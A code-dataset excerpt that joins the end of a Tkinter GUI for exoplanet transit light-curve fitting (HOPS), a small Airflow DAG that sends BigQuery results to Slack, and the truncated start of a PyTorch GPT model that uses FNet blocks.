setup_list.append([[proceed_to_fitting_button, 1, 4]])\n setup_list.append([])\n\n setup_window(root, setup_list)\n\n # finalise and show window\n\n finalise_window(root, position=5)\n show_fov_window.mainloop()\n root.mainloop()\n\n\ndef fitting_window():\n\n # #########\n # create and initialise window\n # #########\n\n root = Tk()\n initialise_window(root, 'Fitting', [], [root], True)\n\n # get variables from log and set as tk variables those to be modified\n\n catalogue = plc.oec_catalogue()\n\n observation_files = StringVar(root, value=read_local_log('pipeline', 'observation_files'))\n light_curve_file = StringVar(value=read_local_log('fitting', 'light_curve_file'))\n light_curve_aperture_file = read_local_log('pipeline', 'light_curve_aperture_file')\n light_curve_gauss_file = read_local_log('pipeline', 'light_curve_gauss_file')\n photometry_directory = read_local_log('pipeline', 'photometry_directory')\n light_curve_file.set(glob.glob(os.path.join('{0}*'.format(photometry_directory), light_curve_aperture_file))[-1])\n planet_search = StringVar(value=read_local_log('fitting', 'planet_search'))\n planet = StringVar(value=read_local_log('fitting', 'planet'))\n binning = IntVar(value=read_local_log('fitting', 'binning'))\n scatter = DoubleVar(value=read_local_log('fitting', 'scatter'))\n iterations = IntVar(value=read_local_log('fitting', 'iterations'))\n burn = IntVar(value=read_local_log('fitting', 'burn'))\n metallicity = DoubleVar(value=read_local_log('fitting', 'metallicity'))\n temperature = DoubleVar(value=read_local_log('fitting', 'temperature'))\n logg = DoubleVar(value=read_local_log('fitting', 'logg'))\n period = DoubleVar(value=read_local_log('fitting', 'period'))\n mid_time = DoubleVar(value=read_local_log('fitting', 'mid_time'))\n rp_over_rs = DoubleVar(value=read_local_log('fitting', 'rp_over_rs'))\n sma_over_rs = DoubleVar(value=read_local_log('fitting', 'sma_over_rs'))\n inclination = DoubleVar(value=read_local_log('fitting', 'inclination'))\n eccentricity = DoubleVar(value=read_local_log('fitting', 'eccentricity'))\n periastron = DoubleVar(value=read_local_log('fitting', 'periastron'))\n target_ra_dec = StringVar(root, value=read_log('fitting', 'target_ra_dec'))\n observer = StringVar(value=read_local_log('fitting', 'observer'))\n observatory = StringVar(value=read_local_log('fitting', 'observatory'))\n telescope = StringVar(value=read_local_log('fitting', 'telescope'))\n camera = StringVar(value=read_local_log('fitting', 'camera'))\n phot_filter = StringVar(value=read_local_log('fitting', 'phot_filter'))\n\n # set progress variables, useful for updating the window\n\n update_preview = BooleanVar(root, value=True)\n update_planet = BooleanVar(root, value=False)\n running = BooleanVar(root, value=False)\n\n # create widgets\n combostyle = ttk.Style()\n combostyle.theme_create('combostyle', parent='alt',\n settings={'TCombobox': {'configure':\n {'selectbackground': 'white',\n 'fieldbackground': 'white',\n 'background': 'white'}}})\n combostyle.theme_use('combostyle')\n\n light_curve_file_label = Label(root, text='Light-curve file')\n light_curve_file_entry = ttk.Combobox(root, textvariable=light_curve_file, state='readonly', width=55)\n\n binning_label = Label(root, text='Binning')\n binning_entry = Entry(root, textvariable=binning, validate='key')\n binning_entry['validatecommand'] = (binning_entry.register(test_int_positive_non_zero_input), '%P', '%d')\n\n scatter_label = Label(root, text='Scatter limit')\n scatter_entry = Entry(root, textvariable=scatter, validate='key')\n scatter_entry['validatecommand'] = (scatter_entry.register(test_float_positive_input), '%P', '%d')\n\n iterations_label = Label(root, text='Iterations')\n iterations_entry = Entry(root, textvariable=iterations, validate='key')\n iterations_entry['validatecommand'] = (iterations_entry.register(test_int_positive_non_zero_input), '%P', '%d')\n\n burn_label = Label(root, text='Burned iterations')\n burn_entry = Entry(root, textvariable=burn, validate='key')\n burn_entry['validatecommand'] = (burn_entry.register(test_int_positive_non_zero_input), '%P', '%d')\n\n metallicity_label = Label(root, text='M* [Fe/H, dex]')\n metallicity_entry = Entry(root, textvariable=metallicity, validate='key')\n metallicity_entry['validatecommand'] = (metallicity_entry.register(test_float_input), '%P', '%d')\n\n temperature_label = Label(root, text='T* [K]')\n temperature_entry = Entry(root, textvariable=temperature, validate='key')\n temperature_entry['validatecommand'] = (temperature_entry.register(test_float_positive_input), '%P', '%d')\n\n logg_label = Label(root, text='log(g*) [cm/s^2]')\n logg_entry = Entry(root, textvariable=logg, validate='key')\n logg_entry['validatecommand'] = (logg_entry.register(test_float_positive_input), '%P', '%d')\n\n period_label = Label(root, text='Period [days]')\n period_entry = Entry(root, textvariable=period, validate='key')\n period_entry['validatecommand'] = (period_entry.register(test_float_positive_input), '%P', '%d')\n\n mid_time_label = Label(root, text='Mid-time [days, BJD_TDB]')\n mid_time_entry = Entry(root, textvariable=mid_time, validate='key')\n mid_time_entry['validatecommand'] = (mid_time_entry.register(test_float_positive_input), '%P', '%d')\n\n rp_over_rs_label = Label(root, text='Rp/Rs')\n rp_over_rs_entry = Entry(root, textvariable=rp_over_rs, validate='key')\n rp_over_rs_entry['validatecommand'] = (rp_over_rs_entry.register(test_float_positive_input), '%P', '%d')\n\n sma_over_rs_label = Label(root, text='a/Rs')\n sma_over_rs_entry = Entry(root, textvariable=sma_over_rs, validate='key')\n sma_over_rs_entry['validatecommand'] = (sma_over_rs_entry.register(test_float_positive_input), '%P', '%d')\n\n inclination_label = Label(root, text='Inclination [deg]')\n inclination_entry = Entry(root, textvariable=inclination, validate='key')\n inclination_entry['validatecommand'] = (inclination_entry.register(test_float_positive_input), '%P', '%d')\n\n eccentricity_label = Label(root, text='Eccentricity')\n eccentricity_entry = Entry(root, textvariable=eccentricity, validate='key')\n eccentricity_entry['validatecommand'] = (eccentricity_entry.register(test_float_positive_input), '%P', '%d')\n\n periastron_label = Label(root, text='Periastron [deg]')\n periastron_entry = Entry(root, textvariable=periastron, validate='key')\n periastron_entry['validatecommand'] = (periastron_entry.register(test_float_positive_input), '%P', '%d')\n\n target_ra_dec_label = Label(root, text='Planet RA DEC\\n(hh:mm:ss +/-dd:mm:ss)')\n target_ra_dec_entry = Entry(root, textvariable=target_ra_dec)\n target_ra_dec_test = Label(root, text=' ')\n\n observer_label = Label(root, text='Observer')\n observer_entry = Entry(root, textvariable=observer)\n\n observatory_label = Label(root, text='Observatory')\n observatory_entry = Entry(root, textvariable=observatory)\n\n telescope_label = Label(root, text='Telescope')\n telescope_entry = Entry(root, textvariable=telescope)\n\n camera_label = Label(root, text='Camera')\n camera_entry = Entry(root, textvariable=camera)\n\n planet_label = Label(root, text='Planet')\n planet_entry = ttk.Combobox(root, textvariable=planet, state='readonly', width=17)\n planet_search_entry = Entry(root, textvariable=planet_search)\n\n phot_filter_label = Label(root, text='Filter')\n phot_filter_entry = ttk.Combobox(root, textvariable=phot_filter, state='readonly', width=17)\n phot_filter_entry['values'] = tuple([ff for ff in filter_map])\n\n show_preview_button = Button(root, text='Show Preview')\n\n return_to_photometry_button = Button(root, text='RETURN TO PHOTOMETRY')\n\n fitting_button = Button(root, text='RUN FITTING')\n\n exit_hops_button = Button(root, text='EXIT')\n\n my_profile_button = Button(root, text='MY PROFILE')\n\n # define additional windows\n\n show_preview_window = AddOnWindow('Preview', None, None, 1)\n f = Figure()\n f.patch.set_facecolor('white')\n ax1 = f.add_subplot(211)\n ax2 = f.add_subplot(212)\n canvas = FigureCanvasTkAgg(f, show_preview_window.root)\n canvas.get_tk_widget().pack()\n NavigationToolbar2TkAgg(canvas, show_preview_window.root)\n\n my_profile_window = AddOnWindow('My Profile', 2, 1.1, 1)\n\n core_headers = {ff.split(':')[0]: read_log_profile(ff.split(':')[0])\n for ff in open(log_profile_file, 'r').readlines()}\n\n local_headers = {ff.split(':')[0]: read_local_log_profile(ff.split(':')[0])\n for ff in open(local_log_profile_file, 'r').readlines()}\n\n variables = {}\n labels = {}\n entries = {}\n for row, header in enumerate(core_headers):\n if header in local_headers:\n variables[header] = StringVar(my_profile_window.root, value=local_headers[header])\n labels[header] = Label(my_profile_window.root, text=header)\n entries[header] = Entry(my_profile_window.root, textvariable=variables[header])\n else:\n variables[header] = StringVar(my_profile_window.root, value=core_headers[header])\n labels[header] = Label(my_profile_window.root, text=header)\n entries[header] = Entry(my_profile_window.root, textvariable=variables[header])\n\n def update_headers():\n for header2 in variables:\n local_headers[header2] = variables[header2].get()\n ww = open(local_log_profile_file, 'w')\n ww.write('\\n'.join(['{0}: {1}'.format(ff, local_headers[ff]) for ff in local_headers]))\n ww.write('\\n')\n ww.close()\n update_window(None)\n\n update_headers_button = Button(my_profile_window.root, text='UPDATE')\n update_headers_button['command'] = update_headers\n\n stucture = [[], [[update_headers_button, 2]], []]\n for header in list(core_headers.keys())[:int(len(list(core_headers.keys()))/2)+1]:\n stucture.append([[labels[header], 1], [entries[header], 2]])\n\n for jj, header in enumerate(list(core_headers.keys())[int(len(list(core_headers.keys()))/2)+1:]):\n stucture[3+jj].append([labels[header], 3])\n stucture[3+jj].append([entries[header], 4])\n\n setup_window(my_profile_window.root, stucture)\n\n # define the function that updates the window\n\n def update_window(entry):\n\n if not entry:\n pass\n\n planet_entry.selection_clear()\n phot_filter_entry.selection_clear()\n light_curve_file_entry.selection_clear()\n\n all_files = (glob.glob(os.path.join('{0}*'.format(photometry_directory), light_curve_aperture_file)) +\n glob.glob(os.path.join('{0}*'.format(photometry_directory), light_curve_gauss_file)))\n all_files.sort()\n light_curve_file_entry['values'] = tuple(all_files)\n\n if planet.get() == 'Choose Planet':\n\n try:\n catalogue_planets = []\n\n ra_target, dec_target = ra_dec_string_to_deg(read_local_log('photometry', 'target_ra_dec'))\n\n for catalogue_planet in catalogue.planets:\n if not np.isnan(catalogue_planet.system.dec):\n catalogue_planets.append([np.sqrt((catalogue_planet.system.dec.deg - dec_target) ** 2\n + (catalogue_planet.system.ra.deg - ra_target) ** 2),\n catalogue_planet.name])\n catalogue_planets.sort()\n\n planet.set(catalogue_planets[0][1])\n planet_search.set(catalogue_planets[0][1])\n\n parameters = plc.find_oec_parameters(planet.get(), catalogue=catalogue)\n coordinates = plc.find_oec_coordinates(planet.get(), catalogue=catalogue, output='str')\n logg.set(parameters[1])\n temperature.set(parameters[2])\n metallicity.set(parameters[3])\n rp_over_rs.set(parameters[4])\n period.set(parameters[6])\n sma_over_rs.set(parameters[7])\n eccentricity.set(parameters[8])\n inclination.set(parameters[9])\n periastron.set(parameters[10])\n mid_time.set(parameters[11])\n target_ra_dec.set(coordinates)\n\n except:\n pass\n\n if running.get():\n\n light_curve_file_entry['state'] = DISABLED\n binning_entry['state'] = DISABLED\n scatter_entry['state'] = DISABLED\n iterations_entry['state'] = DISABLED\n burn_entry['state'] = DISABLED\n metallicity_entry['state'] = DISABLED\n temperature_entry['state'] = DISABLED\n logg_entry['state'] = DISABLED\n phot_filter_entry['state'] = DISABLED\n period_entry['state'] = DISABLED\n mid_time_entry['state'] = DISABLED\n rp_over_rs_entry['state'] = DISABLED\n sma_over_rs_entry['state'] = DISABLED\n inclination_entry['state'] = DISABLED\n eccentricity_entry['state'] = DISABLED\n periastron_entry['state'] = DISABLED\n target_ra_dec_entry['state'] = DISABLED\n observer_entry['state'] = DISABLED\n observatory_entry['state'] = DISABLED\n telescope_entry['state'] = DISABLED\n camera_entry['state'] = DISABLED\n planet_entry['state'] = DISABLED\n planet_search_entry['state'] = DISABLED\n return_to_photometry_button['state'] = DISABLED\n fitting_button['state'] = DISABLED\n exit_hops_button['state'] = DISABLED\n my_profile_button['state'] = DISABLED\n show_preview_button['state'] = DISABLED\n\n elif not os.path.isfile(light_curve_file.get()):\n\n light_curve_file_entry['state'] = NORMAL\n binning_entry['state'] = DISABLED\n scatter_entry['state'] = DISABLED\n iterations_entry['state'] = DISABLED\n burn_entry['state'] = DISABLED\n metallicity_entry['state'] = DISABLED\n temperature_entry['state'] = DISABLED\n logg_entry['state'] = DISABLED\n phot_filter_entry['state'] = DISABLED\n period_entry['state'] = DISABLED\n mid_time_entry['state'] = DISABLED\n rp_over_rs_entry['state'] = DISABLED\n sma_over_rs_entry['state'] = DISABLED\n inclination_entry['state'] = DISABLED\n eccentricity_entry['state'] = DISABLED\n periastron_entry['state'] = DISABLED\n target_ra_dec_entry['state'] = DISABLED\n observer_entry['state'] = DISABLED\n observatory_entry['state'] = DISABLED\n telescope_entry['state'] = DISABLED\n camera_entry['state'] = DISABLED\n planet_entry['state'] = DISABLED\n planet_search_entry['state'] = DISABLED\n return_to_photometry_button['state'] = DISABLED\n fitting_button['state'] = DISABLED\n exit_hops_button['state'] = NORMAL\n my_profile_button['state'] = NORMAL\n show_preview_button['state'] = DISABLED\n\n else:\n\n light_curve_file_entry['state'] = 'readonly'\n binning_entry['state'] = NORMAL\n scatter_entry['state'] = NORMAL\n iterations_entry['state'] = NORMAL\n burn_entry['state'] = NORMAL\n metallicity_entry['state'] = NORMAL\n temperature_entry['state'] = NORMAL\n logg_entry['state'] = NORMAL\n phot_filter_entry['state'] = 'readonly'\n period_entry['state'] = NORMAL\n mid_time_entry['state'] = NORMAL\n rp_over_rs_entry['state'] = NORMAL\n sma_over_rs_entry['state'] = NORMAL\n inclination_entry['state'] = NORMAL\n eccentricity_entry['state'] = NORMAL\n periastron_entry['state'] = NORMAL\n target_ra_dec_entry['state'] = NORMAL\n observer_entry['state'] = NORMAL\n observatory_entry['state'] = NORMAL\n telescope_entry['state'] = NORMAL\n camera_entry['state'] = NORMAL\n planet_entry['state'] = 'readonly'\n planet_search_entry['state'] = NORMAL\n my_profile_button['state'] = NORMAL\n show_preview_button['state'] = NORMAL\n\n if isinstance(catalogue.searchPlanet(planet_search.get()), list):\n planet_entry['values'] = tuple([ppp.name for ppp in catalogue.searchPlanet(planet_search.get())])\n elif catalogue.searchPlanet(planet_search.get()):\n planet_entry['values'] = tuple([catalogue.searchPlanet(planet_search.get()).name])\n else:\n planet_entry['values'] = tuple([])\n\n if update_planet.get():\n\n parameters = plc.find_oec_parameters(planet.get(), catalogue=catalogue)\n coordinates = plc.find_oec_coordinates(planet.get(), catalogue=catalogue, output='str')\n planet_search.set(planet.get())\n logg.set(parameters[1])\n temperature.set(parameters[2])\n metallicity.set(parameters[3])\n rp_over_rs.set(parameters[4])\n period.set(parameters[6])\n sma_over_rs.set(parameters[7])\n eccentricity.set(parameters[8])\n inclination.set(parameters[9])\n periastron.set(parameters[10])\n mid_time.set(parameters[11])\n target_ra_dec.set(coordinates)\n\n if target_ra_dec.get() == 'hh:mm:ss +dd:mm:ss':\n coordinates = plc.find_oec_coordinates(planet.get(), catalogue=catalogue, output='str')\n target_ra_dec.set(coordinates)\n\n if phot_filter.get() == 'default':\n for key in read_local_log_profile('filter_key').split(','):\n check_filter = test_fits_keyword(observation_files.get(), key)\n if check_filter[0]:\n if check_filter[2] in filter_map:\n phot_filter.set(check_filter[2])\n break\n if phot_filter.get() == 'default':\n phot_filter.set(read_local_log_profile('filter'))\n\n if telescope.get() == 'default':\n for key in read_local_log_profile('telescope_key').split(','):\n check_telescope = test_fits_keyword(observation_files.get(), key)\n if check_telescope[0]:\n telescope.set(check_telescope[2])\n break\n if telescope.get() == 'default':\n telescope.set(read_local_log_profile('telescope'))\n\n if camera.get() == 'default':\n for key in read_local_log_profile('camera_key').split(','):\n check_camera = test_fits_keyword(observation_files.get(), key)\n if check_camera[0]:\n camera.set(check_camera[2])\n break\n if camera.get() == 'default':\n camera.set(read_local_log_profile('camera'))\n\n if observer.get() == 'default':\n for key in read_local_log_profile('observer_key').split(','):\n check_observer = test_fits_keyword(observation_files.get(), key)\n if check_observer[0]:\n observer.set(check_observer[2])\n break\n if observer.get() == 'default':\n observer.set(read_local_log_profile('observer'))\n\n if observatory.get() == 'default':\n for key in read_local_log_profile('observatory_key').split(','):\n check_observatory = test_fits_keyword(observation_files.get(), key)\n if check_observatory[0]:\n observatory.set(check_observatory[2])\n break\n if observatory.get() == 'default':\n observatory.set(read_local_log_profile('observatory'))\n\n enable_buttons = True\n\n if not os.path.isfile(light_curve_file.get()):\n enable_buttons = False\n\n check_ra_dec = test_coordinates(target_ra_dec_entry.get())\n target_ra_dec_test.configure(text=check_ra_dec[1])\n\n if not check_ra_dec[0]:\n enable_buttons = False\n\n for input_entry in [binning_entry, scatter_entry, iterations_entry, burn_entry, phot_filter_entry,\n metallicity_entry, temperature_entry, logg_entry, period_entry, mid_time_entry,\n rp_over_rs_entry, sma_over_rs_entry, inclination_entry, eccentricity_entry,\n periastron_entry, target_ra_dec_entry]:\n\n if len(str(input_entry.get())) == 0:\n enable_buttons = False\n\n if enable_buttons:\n fitting_button['state'] = NORMAL\n show_preview_button['state'] = NORMAL\n\n else:\n fitting_button['state'] = DISABLED\n show_preview_button['state'] = DISABLED\n\n return_to_photometry_button['state'] = NORMAL\n exit_hops_button['state'] = NORMAL\n\n try:\n\n if update_preview.get():\n\n light_curve = np.loadtxt(light_curve_file.get(), unpack=True)\n\n if binning.get() > 1:\n start = len(light_curve[0]) - (len(light_curve[0]) // binning.get()) * binning.get()\n light_curve_0 = np.mean(np.reshape(light_curve[0][start:],\n (light_curve[0].size // binning.get(), binning.get())), 1)\n light_curve_1 = np.mean(np.reshape(light_curve[1][start:],\n (light_curve[1].size // binning.get(), binning.get())), 1)\n else:\n light_curve_0 = light_curve[0]\n light_curve_1 = light_curve[1]\n\n light_curve_0 = light_curve_0[np.where(~np.isnan(light_curve_1))]\n light_curve_1 = light_curve_1[np.where(~np.isnan(light_curve_1))]\n\n moving_average = []\n for i in range(-5, 6):\n moving_average.append(np.roll(light_curve_1, i))\n\n median = np.median(moving_average, 0)\n med = np.median([np.abs(ff - median) for ff in moving_average], 0)\n\n flag = np.where((np.abs(light_curve_1 - median) < scatter.get() * med))[0]\n\n limb_darkening_coefficients = plc.clablimb('claret', logg.get(), max(4000, temperature.get()),\n metallicity.get(), filter_map[phot_filter.get()])\n\n data_delta_t = light_curve_0[flag] - light_curve_0[flag][0]\n\n def mcmc_f(inputs, detrend_zero, detrend_one, detrend_two, model_rp_over_rs, model_mid_time):\n\n if inputs:\n detrend = detrend_zero * (1 + detrend_one * data_delta_t +\n detrend_two * data_delta_t * data_delta_t)\n transit_model = plc.transit('claret', limb_darkening_coefficients, model_rp_over_rs,\n period.get(), sma_over_rs.get(), eccentricity.get(),\n inclination.get(), periastron.get(),\n mid_time.get() + model_mid_time,\n time_array=light_curve_0[flag])\n\n return detrend * transit_model\n\n def independent_f(detrend_zero, detrend_one, detrend_two, model_rp_over_rs, model_mid_time):\n\n detrend = detrend_zero * (1 + detrend_one * data_delta_t +\n detrend_two * data_delta_t * data_delta_t)\n transit_model = plc.transit('claret', limb_darkening_coefficients, model_rp_over_rs, period.get(),\n sma_over_rs.get(), eccentricity.get(), inclination.get(),\n periastron.get(), mid_time.get() + model_mid_time,\n time_array=light_curve_0[flag])\n\n return detrend, transit_model\n\n popt, pcov = curve_fit(mcmc_f, [1], light_curve_1[flag],\n p0=[np.mean(light_curve_1[flag]), 1, 1, rp_over_rs.get(), 0])\n\n fit_detrend, fit_transit_model = independent_f(*popt)\n\n predicted_transit_model = plc.transit('claret', limb_darkening_coefficients, rp_over_rs.get(),\n period.get(), sma_over_rs.get(), eccentricity.get(),\n inclination.get(), periastron.get(), mid_time.get(),\n time_array=light_curve_0[flag])\n\n new_mid_time = (mid_time.get()\n + round((np.mean(light_curve_0) - mid_time.get()) / period.get()) * period.get()\n + popt[-1])\n\n phase = np.array((light_curve_0 - new_mid_time) / period.get())\n\n ax1.cla()\n ax2.cla()\n\n ax1.plot(phase, light_curve_1, 'ro', ms=3, mec='r')\n ax1.plot(phase[flag], light_curve_1[flag], 'ko', ms=3)\n ax1.plot(phase[flag], fit_detrend * fit_transit_model, 'r-')\n ax1.set_yticks(ax1.get_yticks()[1:])\n ax1.tick_params(labelbottom=False)\n ax1.set_ylabel(r'$\\mathrm{relative} \\ \\mathrm{flux}$', fontsize=20)\n\n ax2.plot(phase[flag], light_curve_1[flag] / fit_detrend, 'ko', ms=3)\n ax2.plot(phase[flag], fit_transit_model, 'r-')\n ax2.plot(phase[flag], predicted_transit_model, 'c-')\n ax2.set_title('{0:.1e}'.format(np.std(light_curve_1[flag] - fit_transit_model)))\n ax2.set_ylabel(r'$\\mathrm{normalised} \\ \\mathrm{flux}$', fontsize=20)\n ax2.set_xlabel(r'$\\mathrm{phase}$', fontsize=20)\n\n canvas.draw()\n\n except:\n pass\n\n update_window(None)\n\n # define actions for the different buttons, including calls to the function that updates the window\n\n def choose_planet(entry):\n\n if not entry:\n return 0\n\n update_planet.set(True)\n update_window(None)\n update_planet.set(False)\n\n def return_to_photometry():\n\n write_local_log('fitting', light_curve_file.get(), 'light_curve_file')\n write_local_log('fitting', planet_search.get(), 'planet_search')\n write_local_log('fitting', planet.get(), 'planet')\n write_local_log('fitting', binning.get(), 'binning')\n write_local_log('fitting', scatter.get(), 'scatter')\n write_local_log('fitting', iterations.get(), 'iterations')\n write_local_log('fitting', burn.get(), 'burn')\n write_local_log('fitting', metallicity.get(), 'metallicity')\n write_local_log('fitting', temperature.get(), 'temperature')\n write_local_log('fitting', logg.get(), 'logg')\n write_local_log('fitting', period.get(), 'period')\n write_local_log('fitting', mid_time.get(), 'mid_time')\n write_local_log('fitting', rp_over_rs.get(), 'rp_over_rs')\n write_local_log('fitting', sma_over_rs.get(), 'sma_over_rs')\n write_local_log('fitting', inclination.get(), 'inclination')\n write_local_log('fitting', eccentricity.get(), 'eccentricity')\n write_local_log('fitting', periastron.get(), 'periastron')\n write_local_log('fitting', target_ra_dec.get(), 'target_ra_dec')\n write_local_log('fitting', observer.get(), 'observer')\n write_local_log('fitting', observatory.get(), 'observatory')\n write_local_log('fitting', telescope.get(), 'telescope')\n write_local_log('fitting', camera.get(), 'camera')\n write_local_log('fitting', phot_filter.get(), 'phot_filter')\n write_local_log('fitting', True, 'return_to_photometry')\n\n show_preview_window.close()\n root.destroy()\n\n def fitting():\n\n running.set(True)\n update_window(None)\n\n write_local_log('fitting', light_curve_file.get(), 'light_curve_file')\n write_local_log('fitting', planet_search.get(), 'planet_search')\n write_local_log('fitting', planet.get(), 'planet')\n write_local_log('fitting', binning.get(), 'binning')\n write_local_log('fitting', scatter.get(), 'scatter')\n write_local_log('fitting', iterations.get(), 'iterations')\n write_local_log('fitting', burn.get(), 'burn')\n write_local_log('fitting', metallicity.get(), 'metallicity')\n write_local_log('fitting', temperature.get(), 'temperature')\n write_local_log('fitting', logg.get(), 'logg')\n write_local_log('fitting', period.get(), 'period')\n write_local_log('fitting', mid_time.get(), 'mid_time')\n write_local_log('fitting', rp_over_rs.get(), 'rp_over_rs')\n write_local_log('fitting', sma_over_rs.get(), 'sma_over_rs')\n write_local_log('fitting', inclination.get(), 'inclination')\n write_local_log('fitting', eccentricity.get(), 'eccentricity')\n write_local_log('fitting', periastron.get(), 'periastron')\n write_local_log('fitting', target_ra_dec.get(), 'target_ra_dec')\n write_local_log('fitting', observer.get(), 'observer')\n write_local_log('fitting', observatory.get(), 'observatory')\n write_local_log('fitting', telescope.get(), 'telescope')\n write_local_log('fitting', camera.get(), 'camera')\n write_local_log('fitting', phot_filter.get(), 'phot_filter')\n\n ftr_fitting()\n\n running.set(False)\n update_window(None)\n\n def exit_hops():\n show_preview_window.close()\n root.destroy()\n os._exit(-1)\n\n # connect widgets to functions\n\n light_curve_file_entry.bind('<>', update_window)\n planet_entry.bind('<>', choose_planet)\n planet_search_entry.bind(sequence='', func=update_window)\n binning_entry.bind(sequence='', func=update_window)\n scatter_entry.bind(sequence='', func=update_window)\n iterations_entry.bind(sequence='', func=update_window)\n burn_entry.bind(sequence='', func=update_window)\n phot_filter_entry.bind('<>', update_window)\n metallicity_entry.bind(sequence='', func=update_window)\n temperature_entry.bind(sequence='', func=update_window)\n logg_entry.bind(sequence='', func=update_window)\n period_entry.bind(sequence='', func=update_window)\n mid_time_entry.bind(sequence='', func=update_window)\n rp_over_rs_entry.bind(sequence='', func=update_window)\n sma_over_rs_entry.bind(sequence='', func=update_window)\n inclination_entry.bind(sequence='', func=update_window)\n eccentricity_entry.bind(sequence='', func=update_window)\n periastron_entry.bind(sequence='', func=update_window)\n target_ra_dec_entry.bind(sequence='', func=update_window)\n show_preview_button['command'] = show_preview_window.show\n return_to_photometry_button['command'] = return_to_photometry\n fitting_button['command'] = fitting\n exit_hops_button['command'] = exit_hops\n my_profile_button['command'] = my_profile_window.show\n\n # setup window\n\n Btn = Button(root, text=\"USER MANUAL\", command=openweb)\n\n photo = PhotoImage(file=holomon_logo)\n logo_label = Label(root, image=photo)\n window_label = Label(root, text='Fitting')\n created_by_label = Label(root, text=read_log('windows', 'created_by').replace(',', '\\n'))\n\n setup_window(root, [\n [],\n [[logo_label, 0, 1, 6], [window_label, 1, 4, 1, 'title'], [my_profile_button, 4]],\n [],\n [[light_curve_file_label, 1], [light_curve_file_entry, 2, 3, 1]],\n [[binning_label, 1], [binning_entry, 2], [scatter_label, 3], [scatter_entry, 4]],\n [],\n [[phot_filter_label, 1], [phot_filter_entry, 2], [telescope_label, 3], [telescope_entry, 4]],\n [[created_by_label, 0, 1, 3], [camera_label, 1], [camera_entry, 2], [observatory_label, 3],\n [observatory_entry, 4]],\n [[observer_label, 3], [observer_entry, 4]],\n [],\n [[Btn, 0], [planet_label, 1], [planet_search_entry, 2], [target_ra_dec_label, 3], [target_ra_dec_entry, 4]],\n [[planet_entry, 2], [target_ra_dec_test, 4]],\n [],\n [[period_label, 1], [period_entry, 2], [metallicity_label, 3], [metallicity_entry, 4]],\n [[mid_time_label, 1], [mid_time_entry, 2], [temperature_label, 3], [temperature_entry, 4]],\n [[rp_over_rs_label, 1], [rp_over_rs_entry, 2], [logg_label, 3], [logg_entry, 4]],\n [[sma_over_rs_label, 1], [sma_over_rs_entry, 2]],\n [[inclination_label, 1], [inclination_entry, 2], [iterations_label, 3], [iterations_entry, 4]],\n [[eccentricity_label, 1], [eccentricity_entry, 2], [burn_label, 3], [burn_entry, 4]],\n [[periastron_label, 1], [periastron_entry, 2]],\n [[show_preview_button, 2]],\n [],\n [[fitting_button, 1, 4]],\n [[return_to_photometry_button, 1, 4]],\n [[exit_hops_button, 1, 4]],\n []\n ])\n\n # finalise and show window\n\n finalise_window(root, position=5)\n show_preview_window.mainloop()\n root.mainloop()\n\n\ndef run_app():\n print('Loading... Please wait for the main window to appear.')\n reduction_alignment_window()\n photometry_window()\n fitting_window()\n return_to_photometry = read_local_log('fitting', 'return_to_photometry')\n while return_to_photometry:\n write_local_log('fitting', False, 'return_to_photometry')\n photometry_window()\n fitting_window()\n return_to_photometry = read_local_log('fitting', 'return_to_photometry')\n print(return_to_photometry)\n","sub_path":"hops/__run__.py","file_name":"__run__.py","file_ext":"py","file_size_in_byte":80760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"111593119","text":"import airflow\nfrom airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.email_operator import EmailOperator\nfrom airflow.operators.python_operator import BranchPythonOperator\nfrom airflow.operators.dummy_operator import DummyOperator\nfrom airflow.utils.trigger_rule import TriggerRule\nfrom bq import BigQueryGetDataOperator\nfrom airflow.operators.slack_operator import SlackAPIOperator\nfrom airflow.operators.python_operator import PythonOperator\nimport random\nfrom slack import MySlackAPIOperator\nfrom airflow.models import Variable\n\ndag = DAG(\n dag_id=\"hello_airflow\",\n default_args={\n \"owner\": \"godatadriven\",\n \"start_date\": airflow.utils.dates.days_ago(3),\n },\n)\n\nprints_started_job = BashOperator(\n task_id=\"prints_started_job\", bash_command=\"echo {{ execution_date }}\", dag=dag\n)\n\n\nQUERY = \"\"\"\nSELECT\n name\nFROM (\n SELECT\n author.name AS name,\n COUNT(*) AS count\n FROM\n `bigquery-public-data.github_repos.commits`\n WHERE\n \"apache/airflow\" IN UNNEST(repo_name)\n GROUP BY\n author.name\n ORDER BY\n count DESC\n LIMIT\n 5 )\n\"\"\"\n\nget_data = BigQueryGetDataOperator(\n task_id='get_data_from_bq',\n sql=QUERY,\n provide_context=True,\n dag=dag\n)\n\n\npublish_to_slack = MySlackAPIOperator(\n token=Variable.get(\"token\"),\n task_id = \"publish_it\",\n provide_context=True,\n dag=dag\n)\n\nget_data >> publish_to_slack","sub_path":"dags/dag.py","file_name":"dag.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"572876484","text":"\"\"\"\nGPT model:\n- the initial stem consists of a combination of token encoding and a positional encoding\n- the meat of it is a uniform sequence of Transformer blocks\n - each Transformer is a sequential combination of a 1-hidden-layer MLP block and a self-attention block\n - all blocks feed into a central residual pathway similar to resnets\n- the final decoder is a linear projection into a vanilla Softmax classifier\n\"\"\"\n\nimport math\nimport logging\n\nimport torch\nimport torch.nn as nn\n\nfrom ftnetpytorch.fnet import FNet\n\nfrom torch.nn import functional as F\n\nlogger = logging.getLogger(__name__)\n\nclass GPTConfig:\n \"\"\" base GPT config, params common to all GPT versions \"\"\"\n embd_pdrop = 0.1\n resid_pdrop = 0.1\n attn_pdrop = 0.1\n\n def __init__(self, vocab_size, block_size, **kwargs):\n self.vocab_size = vocab_size\n self.block_size = block_size\n for k,v in kwargs.items():\n setattr(self, k, v)\n\nclass GPT1Config(GPTConfig):\n \"\"\" GPT-1 like network roughly 125M params \"\"\"\n n_layer = 12\n n_head = 12\n n_embd = 768\n\n\nclass GPT(nn.Module):\n \"\"\" the full GPT language model, with a context size of block_size \"\"\"\n\n def __init__(self, config):\n super().__init__()\n\n # input embedding stem\n self.tok_emb = nn.Embedding(config.vocab_size, config.n_embd)\n self.pos_emb = nn.Parameter(torch.zeros(1, config.block_size, config.n_embd))\n self.drop = nn.Dropout(config.embd_pdrop)\n # transformer\n self.blocks = nn.Sequential(*[FNet(config.n_embd,config.n_layer,config.n_embd) for _ in range(config.n_layer)])\n # decoder head\n self.ln_f = nn.LayerNorm(config.n_embd)\n self.head = nn.Linear(config.n_embd, config.vocab_size, 